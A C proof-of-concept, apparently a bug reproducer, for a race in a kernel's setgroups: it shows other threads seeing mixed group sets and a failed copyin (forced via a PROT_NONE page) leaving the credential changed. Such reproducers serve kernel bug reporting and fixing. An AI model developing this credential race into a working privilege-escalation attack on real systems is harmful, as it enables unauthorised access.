/* DF-2762: sys_setgroups (kern_prot.c:682-696) calls cratom_proc() FIRST --
 * publishing the new credential to the process -- and only then copyins the
 * new group list into the live credential.  Consequences demonstrated here
 * from ONE process:
 *   (a) a concurrent thread can observe a MIXED old/new group set;
 *   (b) a failing copyin (EFAULT) returns an error but leaves the published
 *       credential partially mutated (documented contract: unchanged). */
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/param.h>
#include <sys/mman.h>

static volatile int stop, pause_mut;
static long mixed, reads, postfault_bad;
static gid_t setA[8], setB[8];

static void *mutator(void *x)
{
	int i = 0;
	(void)x;
	while (!stop) {
		while (pause_mut) usleep(100);
		if (setgroups(8, (i++ & 1) ? setA : setB) != 0)
			fprintf(stderr, "setgroups: %s\n", strerror(errno));
		if ((i % 200) == 0) {
			pause_mut = 1;	/* freeze mutation during the probe */
			/* faulting copyin AFTER the cred was published:
			 * 7 valid gids followed by a PROT_NONE page so the
			 * kernel copyin() copies 28 bytes and THEN faults */
			gid_t before[NGROUPS_MAX]; int nbefore = getgroups(NGROUPS_MAX, before);
			{	static gid_t *straddle;
				int k;
				if (!straddle) {
					char *p = mmap(NULL, 2*4096, PROT_READ|PROT_WRITE,
					               MAP_PRIVATE|MAP_ANON, -1, 0);
					mprotect(p + 4096, 4096, PROT_NONE);
					straddle = (gid_t *)(p + 4096 - 7*sizeof(gid_t));
					for (k = 0; k < 7; k++) straddle[k] = 9000 + k;
				}
				if (setgroups(8, straddle) != -1 || errno != EFAULT)
					fprintf(stderr, "expected EFAULT got %d\n", errno);
			}
			gid_t after[NGROUPS_MAX]; int nafter = getgroups(NGROUPS_MAX, after);
			pause_mut = 0;
			if (nbefore >= 0 && nafter >= 0) {
				size_t nb = (size_t)nbefore * sizeof(gid_t);
				if (nafter != nbefore || memcmp(before, after, nb) != 0) {
					postfault_bad++;
					if (postfault_bad <= 3) {
						int k;
						fprintf(stderr, "[+] EFAULT RETURNED BUT CREDENTIAL MUTATED: ");
						fprintf(stderr, "before{");
						for (k = 0; k < nbefore; k++) fprintf(stderr, "%d,", before[k]);
						fprintf(stderr, "} after{");
						for (k = 0; k < nafter; k++) fprintf(stderr, "%d,", after[k]);
						fprintf(stderr, "}\n");
					}
				}
			}
		}
	}
	return NULL;
}

static void *observer(void *x)
{
	gid_t g[NGROUPS_MAX];
	(void)x;
	while (!stop) {
		int n = getgroups(NGROUPS_MAX, g);
		if (n == 8) {
			int a = 0, b = 0, k;
			for (k = 0; k < n; k++) {
				if (g[k] < 5000) a = 1;   /* setA values */
				if (g[k] >= 5000) b = 1;  /* setB values */
			}
			reads++;
			if (a && b) {
				mixed++;
				if (mixed <= 3) {
					int j;
					fprintf(stderr, "[+] MIXED GROUP SET OBSERVED: {");
					for (j = 0; j < n; j++) fprintf(stderr, "%d,", g[j]);
					fprintf(stderr, "}\n");
				}
			}
		}
	}
	return NULL;
}

int main(void)
{
	pthread_t m, o;
	int i;
	for (i = 0; i < 8; i++) { setA[i] = 1000 + i; setB[i] = 5000 + i; }

	printf("[*] racing setgroups(setA) vs setgroups(setB) + EFAULT probe + observer\n");
	pthread_create(&m, NULL, mutator, NULL);
	pthread_create(&o, NULL, observer, NULL);
	sleep(5);
	stop = 1;
	pthread_join(m, NULL); pthread_join(o, NULL);
	printf("[*] %ld reads, %ld mixed observations, %ld post-EFAULT mutations\n",
	    reads, mixed, postfault_bad);
	printf("[%c] %s\n", (mixed||postfault_bad)?'+':'-',
	    (mixed||postfault_bad) ? "COW-THEN-MUTATE WINDOW REPRODUCED"
	                           : "no violation observed this run");
	return (mixed || postfault_bad) ? 0 : 1;
}
